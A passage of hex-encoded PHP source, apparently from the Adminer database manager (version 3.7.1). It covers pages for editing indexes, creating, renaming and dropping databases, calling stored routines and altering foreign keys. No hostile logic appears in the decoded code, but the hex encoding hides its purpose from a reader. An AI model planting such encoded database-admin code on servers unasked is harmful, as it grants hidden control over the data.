66 64 3A 6E 75 6C 6C 29 3B 24 73 62 5B 5D 3D 24 72 62 3B 7D 7D 69 66 28
24 66 29 7B 24 59 62 3D 24 76 5B 24 45 5D 3B 69 66 28 24 59 62 29 7B 6B
73 6F 72 74 28 24 59 62 5B 22 63 6F 6C 75 6D 6E 73 22 5D 29 3B 6B 73 6F
72 74 28 24 59 62 5B 22 6C 65 6E 67 74 68 73 22 5D 29 3B 6B 73 6F 72 74
28 24 59 62 5B 22 64 65 73 63 73 22 5D 29 3B 69 66 28 24 75 5B 22 74 79
70 65 22 5D 3D 3D 24 59 62 5B 22 74 79 70 65 22 5D 26 26 61 72 72 61 79
5F 76 61 6C 75 65 73 28 24 59 62 5B 22 63 6F 6C 75 6D 6E 73 22 5D 29 3D
3D 3D 24 66 26 26 28 21 24 59 62 5B 22 6C 65 6E 67 74 68 73 22 5D 7C 7C
61 72 72 61 79 5F 76 61 6C 75 65 73 28 24 59 62 5B 22 6C 65 6E 67 74 68
73 22 5D 29 3D 3D 3D 24 67 64 29 26 26 61 72 72 61 79 5F 76 61 6C 75 65
73 28 24 59 62 5B 22 64 65 73 63 73 22 5D 29 3D 3D 3D 24 73 62 29 7B 75
6E 73 65 74 28 24 76 5B 24 45 5D 29 3B 63 6F 6E 74 69 6E 75 65 3B 7D 7D
24 72 61 5B 5D 3D 61 72 72 61 79 28 24 75 5B 22 74 79 70 65 22 5D 2C 24
45 2C 22 28 22 2E 69 6D 70 6C 6F 64 65 28 22 2C 20 22 2C 24 50 29 2E 22
29 22 29 3B 7D 7D 7D 66 6F 72 65 61 63 68 28 24 76 0A 61 73 24 45 3D 3E
24 59 62 29 24 72 61 5B 5D 3D 61 72 72 61 79 28 24 59 62 5B 22 74 79 70
65 22 5D 2C 24 45 2C 22 44 52 4F 50 22 29 3B 69 66 28 21 24 72 61 29 72
65 64 69 72 65 63 74 28 4D 45 2E 22 74 61 62 6C 65 3D 22 2E 75 72 6C 65
6E 63 6F 64 65 28 24 61 29 29 3B 71 75 65 72 69 65 73 5F 72 65 64 69 72
65 63 74 28 4D 45 2E 22 74 61 62 6C 65 3D 22 2E 75 72 6C 65 6E 63 6F 64
65 28 24 61 29 2C 27 49 6E 64 65 78 65 73 20 68 61 76 65 20 62 65 65 6E
20 61 6C 74 65 72 65 64 2E 27 2C 61 6C 74 65 72 5F 69 6E 64 65 78 65 73
28 24 61 2C 24 72 61 29 29 3B 7D 70 61 67 65 5F 68 65 61 64 65 72 28 27
49 6E 64 65 78 65 73 27 2C 24 6C 2C 61 72 72 61 79 28 22 74 61 62 6C 65
22 3D 3E 24 61 29 2C 24 61 29 3B 24 6E 3D 61 72 72 61 79 5F 6B 65 79 73
28 66 69 65 6C 64 73 28 24 61 29 29 3B 69 66 28 24 5F 50 4F 53 54 5B 22
61 64 64 22 5D 29 7B 66 6F 72 65 61 63 68 28 24 4C 5B 22 69 6E 64 65 78
65 73 22 5D 61 73 24 79 3D 3E 24 75 29 7B 69 66 28 24 75 5B 22 63 6F 6C
75 6D 6E 73 22 5D 5B 63 6F 75 6E 74 28 24 75 5B 22 63 6F 6C 75 6D 6E 73
22 5D 29 5D 21 3D 22 22 29 24 4C 5B 22 69 6E 64 65 78 65 73 22 5D 5B 24
79 5D 5B 22 63 6F 6C 75 6D 6E 73 22 5D 5B 5D 3D 22 22 3B 7D 24 75 3D 65
6E 64 28 24 4C 5B 22 69 6E 64 65 78 65 73 22 5D 29 3B 69 66 28 24 75 5B
22 74 79 70 65 22 5D 7C 7C 61 72 72 61 79 5F 66 69 6C 74 65 72 28 24 75
5B 22 63 6F 6C 75 6D 6E 73 22 5D 2C 27 73 74 72 6C 65 6E 27 29 7C 7C 61
72 72 61 79 5F 66 69 6C 74 65 72 28 24 75 5B 22 6C 65 6E 67 74 68 73 22
5D 2C 27 73 74 72 6C 65 6E 27 29 7C 7C 61 72 72 61 79 5F 66 69 6C 74 65
72 28 24 75 5B 22 64 65 73 63 73 22 5D 29 29 24 4C 5B 22 69 6E 64 65 78
65 73 22 5D 5B 5D 3D 61 72 72 61 79 28 22 63 6F 6C 75 6D 6E 73 22 3D 3E
61 72 72 61 79 28 31 3D 3E 22 22 29 29 3B 7D 69 66 28 21 24 4C 29 7B 66
6F 72 65 61 63 68 28 24 76 0A 61 73 24 79 3D 3E 24 75 29 7B 24 76 5B 24
79 5D 5B 22 6E 61 6D 65 22 5D 3D 24 79 3B 24 76 5B 24 79 5D 5B 22 63 6F
6C 75 6D 6E 73 22 5D 5B 5D 3D 22 22 3B 7D 24 76 5B 5D 3D 61 72 72 61 79
28 22 63 6F 6C 75 6D 6E 73 22 3D 3E 61 72 72 61 79 28 31 3D 3E 22 22 29
29 3B 24 4C 5B 22 69 6E 64 65 78 65 73 22 5D 3D 24 76 3B 7D 65 63 68 6F
27 0A 3C 66 6F 72 6D 20 61 63 74 69 6F 6E 3D 22 22 20 6D 65 74 68 6F 64
3D 22 70 6F 73 74 22 3E 0A 3C 74 61 62 6C 65 20 63 65 6C 6C 73 70 61 63
69 6E 67 3D 22 30 22 20 63 6C 61 73 73 3D 22 6E 6F 77 72 61 70 22 3E 0A
3C 74 68 65 61 64 3E 3C 74 72 3E 3C 74 68 3E 49 6E 64 65 78 20 54 79 70
65 3C 74 68 3E 43 6F 6C 75 6D 6E 20 28 6C 65 6E 67 74 68 29 3C 74 68 3E
4E 61 6D 65 3C 2F 74 68 65 61 64 3E 0A 27 3B 24 77 3D 31 3B 66 6F 72 65
61 63 68 28 24 4C 5B 22 69 6E 64 65 78 65 73 22 5D 61 73 24 75 29 7B 65
63 68 6F 22 3C 74 72 3E 3C 74 64 3E 22 2E 68 74 6D 6C 5F 73 65 6C 65 63
74 28 22 69 6E 64 65 78 65 73 5B 24 77 5D 5B 74 79 70 65 5D 22 2C 61 72
72 61 79 28 2D 31 3D 3E 22 22 29 2B 24 4A 63 2C 24 75 5B 22 74 79 70 65
22 5D 2C 28 24 77 3D 3D 63 6F 75 6E 74 28 24 4C 5B 22 69 6E 64 65 78 65
73 22 5D 29 3F 22 69 6E 64 65 78 65 73 41 64 64 52 6F 77 28 74 68 69 73
29 3B 22 3A 31 29 29 2E 22 3C 74 64 3E 22 3B 6B 73 6F 72 74 28 24 75 5B
22 63 6F 6C 75 6D 6E 73 22 5D 29 3B 24 73 3D 31 3B 66 6F 72 65 61 63 68
28 24 75 5B 22 63 6F 6C 75 6D 6E 73 22 5D 61 73 24 79 3D 3E 24 65 29 7B
65 63 68 6F 22 3C 73 70 61 6E 3E 22 2E 68 74 6D 6C 5F 73 65 6C 65 63 74
28 22 69 6E 64 65 78 65 73 5B 24 77 5D 5B 63 6F 6C 75 6D 6E 73 5D 5B 24
73 5D 22 2C 61 72 72 61 79 28 2D 31 3D 3E 22 22 29 2B 24 6E 2C 24 65 2C
28 24 73 3D 3D 63 6F 75 6E 74 28 24 75 5B 22 63 6F 6C 75 6D 6E 73 22 5D
29 3F 22 69 6E 64 65 78 65 73 41 64 64 43 6F 6C 75 6D 6E 22 3A 22 69 6E
64 65 78 65 73 43 68 61 6E 67 65 43 6F 6C 75 6D 6E 22 29 2E 22 28 74 68
69 73 2C 20 27 22 2E 6A 73 5F 65 73 63 61 70 65 28 24 78 3D 3D 22 73 71
6C 22 3F 22 22 3A 24 5F 47 45 54 5B 22 69 6E 64 65 78 65 73 22 5D 2E 22
5F 22 29 2E 22 27 29 3B 22 29 2C 28 24 78 3D 3D 22 73 71 6C 22 7C 7C 24
78 3D 3D 22 6D 73 73 71 6C 22 3F 22 3C 69 6E 70 75 74 20 74 79 70 65 3D
27 6E 75 6D 62 65 72 27 20 6E 61 6D 65 3D 27 69 6E 64 65 78 65 73 5B 24
77 5D 5B 6C 65 6E 67 74 68 73 5D 5B 24 73 5D 27 20 63 6C 61 73 73 3D 27
73 69 7A 65 27 20 76 61 6C 75 65 3D 27 22 2E 68 28 24 75 5B 22 6C 65 6E
67 74 68 73 22 5D 5B 24 79 5D 29 2E 22 27 3E 22 3A 22 22 29 2C 28 24 78
21 3D 22 73 71 6C 22 3F 63 68 65 63 6B 62 6F 78 28 22 69 6E 64 65 78 65
73 5B 24 77 5D 5B 64 65 73 63 73 5D 5B 24 73 5D 22 2C 31 2C 24 75 5B 22
64 65 73 63 73 22 5D 5B 24 79 5D 2C 27 64 65 73 63 65 6E 64 69 6E 67 27
29 3A 22 22 29 2C 22 20 3C 2F 73 70 61 6E 3E 22 3B 24 73 2B 2B 3B 7D 65
63 68 6F 22 3C 74 64 3E 3C 69 6E 70 75 74 20 6E 61 6D 65 3D 27 69 6E 64
65 78 65 73 5B 24 77 5D 5B 6E 61 6D 65 5D 27 20 76 61 6C 75 65 3D 27 22
2E 68 28 24 75 5B 22 6E 61 6D 65 22 5D 29 2E 22 27 20 61 75 74 6F 63 61
70 69 74 61 6C 69 7A 65 3D 27 6F 66 66 27 3E 5C 6E 22 3B 24 77 2B 2B 3B
7D 65 63 68 6F 27 3C 2F 74 61 62 6C 65 3E 0A 3C 70 3E 0A 3C 69 6E 70 75
74 20 74 79 70 65 3D 22 73 75 62 6D 69 74 22 20 76 61 6C 75 65 3D 22 53
61 76 65 22 3E 0A 3C 6E 6F 73 63 72 69 70 74 3E 3C 70 3E 3C 69 6E 70 75
74 20 74 79 70 65 3D 22 73 75 62 6D 69 74 22 20 6E 61 6D 65 3D 22 61 64
64 22 20 76 61 6C 75 65 3D 22 41 64 64 20 6E 65 78 74 22 3E 3C 2F 6E 6F
73 63 72 69 70 74 3E 0A 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64
64 65 6E 22 20 6E 61 6D 65 3D 22 74 6F 6B 65 6E 22 20 76 61 6C 75 65 3D
22 27 2C 24 54 2C 27 22 3E 0A 3C 2F 66 6F 72 6D 3E 0A 27 3B 7D 65 6C 73
65 69 66 28 69 73 73 65 74 28 24 5F 47 45 54 5B 22 64 61 74 61 62 61 73
65 22 5D 29 29 7B 24 4C 3D 24 5F 50 4F 53 54 3B 69 66 28 24 5F 50 4F 53
54 26 26 21 24 6C 26 26 21 69 73 73 65 74 28 24 5F 50 4F 53 54 5B 22 61
64 64 5F 78 22 5D 29 29 7B 72 65 73 74 61 72 74 5F 73 65 73 73 69 6F 6E
28 29 3B 24 45 3D 74 72 69 6D 28 24 4C 5B 22 6E 61 6D 65 22 5D 29 3B 69
66 28 24 5F 50 4F 53 54 5B 22 64 72 6F 70 22 5D 29 7B 24 5F 47 45 54 5B
22 64 62 22 5D 3D 22 22 3B 71 75 65 72 69 65 73 5F 72 65 64 69 72 65 63
74 28 72 65 6D 6F 76 65 5F 66 72 6F 6D 5F 75 72 69 28 22 64 62 7C 64 61
74 61 62 61 73 65 22 29 2C 27 44 61 74 61 62 61 73 65 20 68 61 73 20 62
65 65 6E 20 64 72 6F 70 70 65 64 2E 27 2C 64 72 6F 70 5F 64 61 74 61 62
61 73 65 73 28 61 72 72 61 79 28 44 42 29 29 29 3B 7D 65 6C 73 65 69 66
28 44 42 21 3D 3D 24 45 29 7B 69 66 28 44 42 21 3D 22 22 29 7B 24 5F 47
45 54 5B 22 64 62 22 5D 3D 24 45 3B 71 75 65 72 69 65 73 5F 72 65 64 69
72 65 63 74 28 70 72 65 67 5F 72 65 70 6C 61 63 65 28 27 7E 64 62 3D 5B
5E 26 5D 2A 26 7E 27 2C 27 27 2C 4D 45 29 2E 22 64 62 3D 22 2E 75 72 6C
65 6E 63 6F 64 65 28 24 45 29 2C 27 44 61 74 61 62 61 73 65 20 68 61 73
20 62 65 65 6E 20 72 65 6E 61 6D 65 64 2E 27 2C 72 65 6E 61 6D 65 5F 64
61 74 61 62 61 73 65 28 24 45 2C 24 4C 5B 22 63 6F 6C 6C 61 74 69 6F 6E
22 5D 29 29 3B 7D 65 6C 73 65 7B 24 6A 3D 65 78 70 6C 6F 64 65 28 22 5C
6E 22 2C 73 74 72 5F 72 65 70 6C 61 63 65 28 22 5C 72 22 2C 22 22 2C 24
45 29 29 3B 24 74 66 3D 74 72 75 65 3B 24 5A 63 3D 22 22 3B 66 6F 72 65
61 63 68 28 24 6A 0A 61 73 24 6B 29 7B 69 66 28 63 6F 75 6E 74 28 24 6A
29 3D 3D 31 7C 7C 24 6B 21 3D 22 22 29 7B 69 66 28 21 63 72 65 61 74 65
5F 64 61 74 61 62 61 73 65 28 24 6B 2C 24 4C 5B 22 63 6F 6C 6C 61 74 69
6F 6E 22 5D 29 29 24 74 66 3D 66 61 6C 73 65 3B 24 5A 63 3D 24 6B 3B 7D
7D 71 75 65 72 69 65 73 5F 72 65 64 69 72 65 63 74 28 4D 45 2E 22 64 62
3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 5A 63 29 2C 27 44 61 74 61 62
61 73 65 20 68 61 73 20 62 65 65 6E 20 63 72 65 61 74 65 64 2E 27 2C 24
74 66 29 3B 7D 7D 65 6C 73 65 7B 69 66 28 21 24 4C 5B 22 63 6F 6C 6C 61
74 69 6F 6E 22 5D 29 72 65 64 69 72 65 63 74 28 73 75 62 73 74 72 28 4D
45 2C 30 2C 2D 31 29 29 3B 71 75 65 72 79 5F 72 65 64 69 72 65 63 74 28
22 41 4C 54 45 52 20 44 41 54 41 42 41 53 45 20 22 2E 69 64 66 5F 65 73
63 61 70 65 28 24 45 29 2E 28 65 72 65 67 69 28 27 5E 5B 61 2D 7A 30 2D
39 5F 5D 2B 24 27 2C 24 4C 5B 22 63 6F 6C 6C 61 74 69 6F 6E 22 5D 29 3F
22 20 43 4F 4C 4C 41 54 45 20 24 4C 5B 63 6F 6C 6C 61 74 69 6F 6E 5D 22
3A 22 22 29 2C 73 75 62 73 74 72 28 4D 45 2C 30 2C 2D 31 29 2C 27 44 61
74 61 62 61 73 65 20 68 61 73 20 62 65 65 6E 20 61 6C 74 65 72 65 64 2E
27 29 3B 7D 7D 70 61 67 65 5F 68 65 61 64 65 72 28 44 42 21 3D 22 22 3F
27 41 6C 74 65 72 20 64 61 74 61 62 61 73 65 27 3A 27 43 72 65 61 74 65
20 64 61 74 61 62 61 73 65 27 2C 24 6C 2C 61 72 72 61 79 28 29 2C 44 42
29 3B 24 64 3D 63 6F 6C 6C 61 74 69 6F 6E 73 28 29 3B 24 45 3D 44 42 3B
69 66 28 24 5F 50 4F 53 54 29 24 45 3D 24 4C 5B 22 6E 61 6D 65 22 5D 3B
65 6C 73 65 69 66 28 44 42 21 3D 22 22 29 24 4C 5B 22 63 6F 6C 6C 61 74
69 6F 6E 22 5D 3D 64 62 5F 63 6F 6C 6C 61 74 69 6F 6E 28 44 42 2C 24 64
29 3B 65 6C 73 65 69 66 28 24 78 3D 3D 22 73 71 6C 22 29 7B 66 6F 72 65
61 63 68 28 67 65 74 5F 76 61 6C 73 28 22 53 48 4F 57 20 47 52 41 4E 54
53 22 29 61 73 24 72 29 7B 69 66 28 70 72 65 67 5F 6D 61 74 63 68 28 27
7E 20 4F 4E 20 28 60 28 28 5B 5E 5C 5C 5C 5C 60 5D 7C 60 60 7C 5C 5C 5C
5C 2E 29 2A 29 25 60 5C 5C 2E 5C 5C 2A 29 3F 7E 27 2C 24 72 2C 24 42 29
26 26 24 42 5B 31 5D 29 7B 24 45 3D 73 74 72 69 70 63 73 6C 61 73 68 65
73 28 69 64 66 5F 75 6E 65 73 63 61 70 65 28 22 60 24 42 5B 32 5D 60 22
29 29 3B 62 72 65 61 6B 3B 7D 7D 7D 65 63 68 6F 27 0A 3C 66 6F 72 6D 20
61 63 74 69 6F 6E 3D 22 22 20 6D 65 74 68 6F 64 3D 22 70 6F 73 74 22 3E
0A 3C 70 3E 0A 27 2C 28 24 5F 50 4F 53 54 5B 22 61 64 64 5F 78 22 5D 7C
7C 73 74 72 70 6F 73 28 24 45 2C 22 5C 6E 22 29 3F 27 3C 74 65 78 74 61
72 65 61 20 69 64 3D 22 6E 61 6D 65 22 20 6E 61 6D 65 3D 22 6E 61 6D 65
22 20 72 6F 77 73 3D 22 31 30 22 20 63 6F 6C 73 3D 22 34 30 22 3E 27 2E
68 28 24 45 29 2E 27 3C 2F 74 65 78 74 61 72 65 61 3E 3C 62 72 3E 27 3A
27 3C 69 6E 70 75 74 20 6E 61 6D 65 3D 22 6E 61 6D 65 22 20 69 64 3D 22
6E 61 6D 65 22 20 76 61 6C 75 65 3D 22 27 2E 68 28 24 45 29 2E 27 22 20
6D 61 78 6C 65 6E 67 74 68 3D 22 36 34 22 20 61 75 74 6F 63 61 70 69 74
61 6C 69 7A 65 3D 22 6F 66 66 22 3E 27 29 2E 22 5C 6E 22 2E 28 24 64 3F
68 74 6D 6C 5F 73 65 6C 65 63 74 28 22 63 6F 6C 6C 61 74 69 6F 6E 22 2C
61 72 72 61 79 28 22 22 3D 3E 22 28 22 2E 27 63 6F 6C 6C 61 74 69 6F 6E
27 2E 22 29 22 29 2B 24 64 2C 24 4C 5B 22 63 6F 6C 6C 61 74 69 6F 6E 22
5D 29 3A 22 22 29 3B 3F 3E 0A 3C 73 63 72 69 70 74 20 74 79 70 65 3D 27
74 65 78 74 2F 6A 61 76 61 73 63 72 69 70 74 27 3E 66 6F 63 75 73 28 64
6F 63 75 6D 65 6E 74 2E 67 65 74 45 6C 65 6D 65 6E 74 42 79 49 64 28 27
6E 61 6D 65 27 29 29 3B 3C 2F 73 63 72 69 70 74 3E 0A 3C 69 6E 70 75 74
20 74 79 70 65 3D 22 73 75 62 6D 69 74 22 20 76 61 6C 75 65 3D 22 53 61
76 65 22 3E 0A 3C 3F 70 68 70 0A 69 66 28 44 42 21 3D 22 22 29 65 63 68
6F 22 3C 69 6E 70 75 74 20 74 79 70 65 3D 27 73 75 62 6D 69 74 27 20 6E
61 6D 65 3D 27 64 72 6F 70 27 20 76 61 6C 75 65 3D 27 22 2E 27 44 72 6F
70 27 2E 22 27 22 2E 63 6F 6E 66 69 72 6D 28 29 2E 22 3E 5C 6E 22 3B 65
6C 73 65 69 66 28 21 24 5F 50 4F 53 54 5B 22 61 64 64 5F 78 22 5D 26 26
24 5F 47 45 54 5B 22 64 62 22 5D 3D 3D 22 22 29 65 63 68 6F 22 3C 69 6E
70 75 74 20 74 79 70 65 3D 27 69 6D 61 67 65 27 20 6E 61 6D 65 3D 27 61
64 64 27 20 73 72 63 3D 27 22 2E 68 28 70 72 65 67 5F 72 65 70 6C 61 63
65 28 22 7E 5C 5C 3F 2E 2A 7E 22 2C 22 22 2C 4D 45 29 29 2E 22 3F 66 69
6C 65 3D 70 6C 75 73 2E 67 69 66 26 61 6D 70 3B 76 65 72 73 69 6F 6E 3D
33 2E 37 2E 31 27 20 61 6C 74 3D 27 2B 27 20 74 69 74 6C 65 3D 27 22 2E
27 41 64 64 20 6E 65 78 74 27 2E 22 27 3E 5C 6E 22 3B 65 63 68 6F 27 3C
69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65
3D 22 74 6F 6B 65 6E 22 20 76 61 6C 75 65 3D 22 27 2C 24 54 2C 27 22 3E
0A 3C 2F 66 6F 72 6D 3E 0A 27 3B 7D 65 6C 73 65 69 66 28 69 73 73 65 74
28 24 5F 47 45 54 5B 22 63 61 6C 6C 22 5D 29 29 7B 24 64 61 3D 24 5F 47
45 54 5B 22 63 61 6C 6C 22 5D 3B 70 61 67 65 5F 68 65 61 64 65 72 28 27
43 61 6C 6C 27 2E 22 3A 20 22 2E 68 28 24 64 61 29 2C 24 6C 29 3B 24 56
65 3D 72 6F 75 74 69 6E 65 28 24 64 61 2C 28 69 73 73 65 74 28 24 5F 47
45 54 5B 22 63 61 6C 6C 66 22 5D 29 3F 22 46 55 4E 43 54 49 4F 4E 22 3A
22 50 52 4F 43 45 44 55 52 45 22 29 29 3B 24 49 63 3D 61 72 72 61 79 28
29 3B 24 63 65 3D 61 72 72 61 79 28 29 3B 66 6F 72 65 61 63 68 28 24 56
65 5B 22 66 69 65 6C 64 73 22 5D 61 73 24 73 3D 3E 24 6D 29 7B 69 66 28
73 75 62 73 74 72 28 24 6D 5B 22 69 6E 6F 75 74 22 5D 2C 2D 33 29 3D 3D
22 4F 55 54 22 29 24 63 65 5B 24 73 5D 3D 22 40 22 2E 69 64 66 5F 65 73
63 61 70 65 28 24 6D 5B 22 66 69 65 6C 64 22 5D 29 2E 22 20 41 53 20 22
2E 69 64 66 5F 65 73 63 61 70 65 28 24 6D 5B 22 66 69 65 6C 64 22 5D 29
3B 69 66 28 21 24 6D 5B 22 69 6E 6F 75 74 22 5D 7C 7C 73 75 62 73 74 72
28 24 6D 5B 22 69 6E 6F 75 74 22 5D 2C 30 2C 32 29 3D 3D 22 49 4E 22 29
24 49 63 5B 5D 3D 24 73 3B 7D 69 66 28 21 24 6C 26 26 24 5F 50 4F 53 54
29 7B 24 47 61 3D 61 72 72 61 79 28 29 3B 66 6F 72 65 61 63 68 28 24 56
65 5B 22 66 69 65 6C 64 73 22 5D 61 73 24 79 3D 3E 24 6D 29 7B 69 66 28
69 6E 5F 61 72 72 61 79 28 24 79 2C 24 49 63 29 29 7B 24 58 3D 70 72 6F
63 65 73 73 5F 69 6E 70 75 74 28 24 6D 29 3B 69 66 28 24 58 3D 3D 3D 66
61 6C 73 65 29 24 58 3D 22 27 27 22 3B 69 66 28 69 73 73 65 74 28 24 63
65 5B 24 79 5D 29 29 24 67 2D 3E 71 75 65 72 79 28 22 53 45 54 20 40 22
2E 69 64 66 5F 65 73 63 61 70 65 28 24 6D 5B 22 66 69 65 6C 64 22 5D 29
2E 22 20 3D 20 24 58 22 29 3B 7D 24 47 61 5B 5D 3D 28 69 73 73 65 74 28
24 63 65 5B 24 79 5D 29 3F 22 40 22 2E 69 64 66 5F 65 73 63 61 70 65 28
24 6D 5B 22 66 69 65 6C 64 22 5D 29 3A 24 58 29 3B 7D 24 49 3D 28 69 73
73 65 74 28 24 5F 47 45 54 5B 22 63 61 6C 6C 66 22 5D 29 3F 22 53 45 4C
45 43 54 22 3A 22 43 41 4C 4C 22 29 2E 22 20 22 2E 69 64 66 5F 65 73 63
61 70 65 28 24 64 61 29 2E 22 28 22 2E 69 6D 70 6C 6F 64 65 28 22 2C 20
22 2C 24 47 61 29 2E 22 29 22 3B 65 63 68 6F 22 3C 70 3E 3C 63 6F 64 65
20 63 6C 61 73 73 3D 27 6A 75 73 68 2D 24 78 27 3E 22 2E 68 28 24 49 29
2E 22 3C 2F 63 6F 64 65 3E 20 3C 61 20 68 72 65 66 3D 27 22 2E 68 28 4D
45 29 2E 22 73 71 6C 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 49 29 2E
22 27 3E 22 2E 27 45 64 69 74 27 2E 22 3C 2F 61 3E 5C 6E 22 3B 69 66 28
21 24 67 2D 3E 6D 75 6C 74 69 5F 71 75 65 72 79 28 24 49 29 29 65 63 68
6F 22 3C 70 20 63 6C 61 73 73 3D 27 65 72 72 6F 72 27 3E 22 2E 65 72 72
6F 72 28 29 2E 22 5C 6E 22 3B 65 6C 73 65 7B 24 68 3D 63 6F 6E 6E 65 63
74 28 29 3B 69 66 28 69 73 5F 6F 62 6A 65 63 74 28 24 68 29 29 24 68 2D
3E 73 65 6C 65 63 74 5F 64 62 28 44 42 29 3B 64 6F 7B 24 4A 3D 24 67 2D
3E 73 74 6F 72 65 5F 72 65 73 75 6C 74 28 29 3B 69 66 28 69 73 5F 6F 62
6A 65 63 74 28 24 4A 29 29 73 65 6C 65 63 74 28 24 4A 2C 24 68 29 3B 65
6C 73 65 0A 65 63 68 6F 22 3C 70 20 63 6C 61 73 73 3D 27 6D 65 73 73 61
67 65 27 3E 22 2E 6C 61 6E 67 28 61 72 72 61 79 28 27 52 6F 75 74 69 6E
65 20 68 61 73 20 62 65 65 6E 20 63 61 6C 6C 65 64 2C 20 25 64 20 72 6F
77 20 61 66 66 65 63 74 65 64 2E 27 2C 27 52 6F 75 74 69 6E 65 20 68 61
73 20 62 65 65 6E 20 63 61 6C 6C 65 64 2C 20 25 64 20 72 6F 77 73 20 61
66 66 65 63 74 65 64 2E 27 29 2C 24 67 2D 3E 61 66 66 65 63 74 65 64 5F
72 6F 77 73 29 2E 22 5C 6E 22 3B 7D 77 68 69 6C 65 28 24 67 2D 3E 6E 65
78 74 5F 72 65 73 75 6C 74 28 29 29 3B 69 66 28 24 63 65 29 73 65 6C 65
63 74 28 24 67 2D 3E 71 75 65 72 79 28 22 53 45 4C 45 43 54 20 22 2E 69
6D 70 6C 6F 64 65 28 22 2C 20 22 2C 24 63 65 29 29 29 3B 7D 7D 65 63 68
6F 27 0A 3C 66 6F 72 6D 20 61 63 74 69 6F 6E 3D 22 22 20 6D 65 74 68 6F
64 3D 22 70 6F 73 74 22 3E 0A 27 3B 69 66 28 24 49 63 29 7B 65 63 68 6F
22 3C 74 61 62 6C 65 20 63 65 6C 6C 73 70 61 63 69 6E 67 3D 27 30 27 3E
5C 6E 22 3B 66 6F 72 65 61 63 68 28 24 49 63 0A 61 73 24 79 29 7B 24 6D
3D 24 56 65 5B 22 66 69 65 6C 64 73 22 5D 5B 24 79 5D 3B 24 45 3D 24 6D
5B 22 66 69 65 6C 64 22 5D 3B 65 63 68 6F 22 3C 74 72 3E 3C 74 68 3E 22
2E 24 62 2D 3E 66 69 65 6C 64 4E 61 6D 65 28 24 6D 29 3B 24 59 3D 24 5F
50 4F 53 54 5B 22 66 69 65 6C 64 73 22 5D 5B 24 45 5D 3B 69 66 28 24 59
21 3D 22 22 29 7B 69 66 28 24 6D 5B 22 74 79 70 65 22 5D 3D 3D 22 65 6E
75 6D 22 29 24 59 3D 2B 24 59 3B 69 66 28 24 6D 5B 22 74 79 70 65 22 5D
3D 3D 22 73 65 74 22 29 24 59 3D 61 72 72 61 79 5F 73 75 6D 28 24 59 29
3B 7D 69 6E 70 75 74 28 24 6D 2C 24 59 2C 28 73 74 72 69 6E 67 29 24 5F
50 4F 53 54 5B 22 66 75 6E 63 74 69 6F 6E 22 5D 5B 24 45 5D 29 3B 65 63
68 6F 22 5C 6E 22 3B 7D 65 63 68 6F 22 3C 2F 74 61 62 6C 65 3E 5C 6E 22
3B 7D 65 63 68 6F 27 3C 70 3E 0A 3C 69 6E 70 75 74 20 74 79 70 65 3D 22
73 75 62 6D 69 74 22 20 76 61 6C 75 65 3D 22 43 61 6C 6C 22 3E 0A 3C 69
6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65 3D
22 74 6F 6B 65 6E 22 20 76 61 6C 75 65 3D 22 27 2C 24 54 2C 27 22 3E 0A
3C 2F 66 6F 72 6D 3E 0A 27 3B 7D 65 6C 73 65 69 66 28 69 73 73 65 74 28
24 5F 47 45 54 5B 22 66 6F 72 65 69 67 6E 22 5D 29 29 7B 24 61 3D 24 5F
47 45 54 5B 22 66 6F 72 65 69 67 6E 22 5D 3B 24 45 3D 24 5F 47 45 54 5B
22 6E 61 6D 65 22 5D 3B 24 4C 3D 24 5F 50 4F 53 54 3B 69 66 28 24 5F 50
4F 53 54 26 26 21 24 6C 26 26 21 24 5F 50 4F 53 54 5B 22 61 64 64 22 5D
26 26 21 24 5F 50 4F 53 54 5B 22 63 68 61 6E 67 65 22 5D 26 26 21 24 5F
50 4F 53 54 5B 22 63 68 61 6E 67 65 2D 6A 73 22 5D 29 7B 69 66 28 24 5F
50 4F 53 54 5B 22 64 72 6F 70 22 5D 29 71 75 65 72 79 5F 72 65 64 69 72
65 63 74 28 22 41 4C 54 45 52 20 54 41 42 4C 45 20 22 2E 74 61 62 6C 65
28 24 61 29 2E 22 5C 6E 44 52 4F 50 20 22 2E 28 24 78 3D 3D 22 73 71 6C
22 3F 22 46 4F 52 45 49 47 4E 20 4B 45 59 20 22 3A 22 43 4F 4E 53 54 52
41 49 4E 54 20 22 29 2E 69 64 66 5F 65 73 63 61 70 65 28 24 45 29 2C 4D
45 2E 22 74 61 62 6C 65 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 61 29
2C 27 46 6F 72 65 69 67 6E 20 6B 65 79 20 68 61 73 20 62 65 65 6E 20 64
72 6F 70 70 65 64 2E 27 29 3B 65 6C 73 65 7B 24 6A 66 3D 61 72 72 61 79
5F 66 69 6C 74 65 72 28 24 4C 5B 22 73 6F 75 72 63 65 22 5D 2C 27 73 74
72 6C 65 6E 27 29 3B 6B 73 6F 72 74 28 24 6A 66 29 3B 24 45 66 3D 61 72
72 61 79 28 29 3B 66 6F 72 65 61 63 68 28 24 6A 66 0A 61 73 24 79 3D 3E
24 58 29 24 45 66 5B 24 79 5D 3D 24 4C 5B 22 74 61 72 67 65 74 22 5D 5B
24 79 5D 3B 71 75 65 72 79 5F 72 65 64 69 72 65 63 74 28 22 41 4C 54 45
52 20 54 41 42 4C 45 20 22 2E 74 61 62 6C 65 28 24 61 29 2E 28 24 45 21
3D 22 22 3F 22 5C 6E 44 52 4F 50 20 22 2E 28 24 78 3D 3D 22 73 71 6C 22
3F 22 46 4F 52 45 49 47 4E 20 4B 45 59 20 22 3A 22 43 4F 4E 53 54 52 41
49 4E 54 20 22 29 2E 69 64 66 5F 65 73 63 61 70 65 28 24 45 29 2E 22 2C
22 3A 22 22 29 2E 22 5C 6E 41 44 44 20 46 4F 52 45 49 47 4E 20 4B 45 59
20 28 22 2E 69 6D 70 6C 6F 64 65 28 22 2C 20 22 2C 61 72 72 61 79 5F 6D
61 70 28 27 69 64 66 5F 65 73 63 61 70 65 27 2C 24 6A 66 29 29 2E 22 29
20 52 45 46 45 52 45 4E 43 45 53 20 22 2E 74 61 62 6C 65 28 24 4C 5B 22
74 61 62 6C 65 22 5D 29 2E 22 20 28 22 2E 69 6D 70 6C 6F 64 65 28 22 2C
